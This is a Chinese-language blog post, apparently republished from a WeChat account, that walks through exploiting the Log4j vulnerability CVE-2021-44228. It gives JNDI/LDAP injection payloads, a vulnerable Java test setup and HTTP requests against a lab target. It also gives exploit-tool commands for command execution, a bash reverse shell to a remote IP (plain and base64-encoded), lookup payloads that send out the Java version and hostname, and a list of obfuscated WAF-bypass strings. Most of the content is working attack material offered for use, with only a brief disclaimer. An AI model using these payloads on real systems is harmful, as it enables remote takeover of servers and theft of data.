免责声明
由于传播、利用文章内的相关技术从事非法测试
如因此产生的一切不良后果与文章作者和本公众号无关
前言
CVE-2021-44228 log4j漏洞 已经出现一周了。
为了更全面,更傻瓜式,等大佬们都分析完了,然后我就这里集百家之长。
让各位表哥,一看就会。
漏洞经历
参考官网消息
https://logging.apache.org/log4j/2.x/security.html
https://issues.apache.org/jira/browse/LOG4J2-3201
漏洞过程
1.poc分析
根据网上流传的poc
${jndi:ldap://02c6a45b.dns.1433.eu.org./Exploit}
从payload可以看到用到了JNDI和LDAP
那么JNDL和LDAP分别是什么呢
根据百度百科:
jndi:Java命名和目录的接口

JNDI可访问的现有的目录及服务有:
DNS、XNam 、Novell目录服务、
LDAP(Lightweight Directory Access Protocol轻型目录访问协议)、
CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表
RMI、DSML v1&v2、NIS。

LDAP只是JNDI其中一个服务而已,还有常用的rmi/dns/ldaps
漏洞复现--多种环境
漏洞测试都是利用dnslog,但是dnslog最近太忙了。
多种dnslog
在线平台
https://log.咕.com
http://dnslog.cn
利用burp-dnslog,不会请移步参考
https://www.cnblogs.com/pangya/p/15688943.html
JNDIMonitor2.0.1(一个LDAP请求监听器,摆脱dnslog平台):
https://github.com/r00tSe7en/JNDIMonitor
本地测试
利用maven创建项目。(不会搭建请移步参考:https://www.cnblogs.com/pangya/p/15675453.html)
poc.xml
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
</dependencies>
log4j.java
package org.example.log_rec;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4j {
private static final Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
logger.error("${jndi:ldap://02c6a45b.dns.1433.eu.org./Exploit}");
}
}

模拟环境
从T00ls下载的一个测试登陆框。
如果本地搭建出错可以移步参考
(https://www.cnblogs.com/pangya/p/15684035.html)


靶场
Vulfocus 靶场环境---spring的环境
目前 Vulfocus 已经集成 Log4j2 环境,可通过以下链接启动环境测试:
http://vulfocus.fofa.so/#/dashboard?image_id=3b8f15eb-7bd9-49b2-a69e-541f89c4216c
镜像拉取
docker pull vulfocus/log4j2-rce-2021-12-09:latest
docker run -p 127.0.0.1:8080:8080 vulfocus/log4j2-rce-2021-12-09

用法
POST /hello HTTP/1.1
Host: 172.16.13.125:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 56
Content-Type: application/x-www-form-urlencoded
payload=${jndi:ldap://40c8f267.dns.1433.eu.org./Exploit}

命令执行
使用JNDIExploit1.3 开启ldap服务。
https://github.com/0x727/JNDIExploit(作者貌似已移除)
用法
java -jar JNDIExploit1.3.jar -i 172.16.13.132
payload=${jndi:ldap://172.16.13.132:1389/TomcatBypass/TomcatEcho}

反弹shell
linux
这里借助了JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
下载地址:
https://github.com/welk1n/JNDI-Injection-Exploit
过程
使用bash进行连接,nc连接
bash -i >& /dev/tcp/172.16.13.132/7314 0>&1
进行编码
https://www.jackson-t.ca/runtime-exec-payloads.html

使用JNDI-Injection进行执行
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTMuMTMyLzczMTQgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "172.16.13.132"

上面有三个紫色都为payload,根据不同版本自行选择,这里利用的网上靶场:
payload:rmi://172.16.13.132:1099/m1gepx

成功反弹shell
Windows
同linux一样。windows可以利用powershell上线(手里没有环境,有表哥已经成功)
生成powershell
进行编码
利用JNDI-Injection-Exploit调用
关于数据外带
官网参考文章
https://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.html

log4j2支持的方法
官方参考文章
https://logging.apache.org/log4j/2.x/manual/configuration.html

还支持的有:
base64、bundle、ctx、data、env、jndi、jvmrunargs、log4j、main、map、sd、sys

进行外带数据测试
外带java版本
${jndi:ldap://${sys:java.version}.@.${hostName}.2cqa0a.dnslog.cn}


本地外带数据
${jndi:ldap://host:1389/${java:version}}
echo -e '0\x0c\x02\x01\x01a\x07\x0a\x01\x00\x04\x00\x04\00' | nc -vv -l -p 1389 | xxd
其余利用
例如:表哥公众号提到的bundle可以外带spring——boot的properties文件等等
waf绕过
Bypass_RC1
利用空格绕过
${jndi:ldap://02c6a45b.dns.1433.eu.org./ Exploit}
Bypass_waf(网上收集)
一些waf规则
很多厂商在公众号把最初始的waf规则都纰漏了,有了一些bypass
利用lower和upper的特性进行绕过
${jndi:ldap://127.0.0.1:1389/ badClassName}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
常见的一些受影响产品
Struts
Tomcat
Solr
Druid
ElasticSearch
Dubbo
Spring-Boot
VMWare
RedHat
Jenkins
Citrix
更多的影响可以参考火线推出的查询平台
https://log4j2.huoxian.cn/layout
最后
实战利用起来还不是这样容易~
欢迎表哥滴滴
文章转载自web安全and一只狗,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。




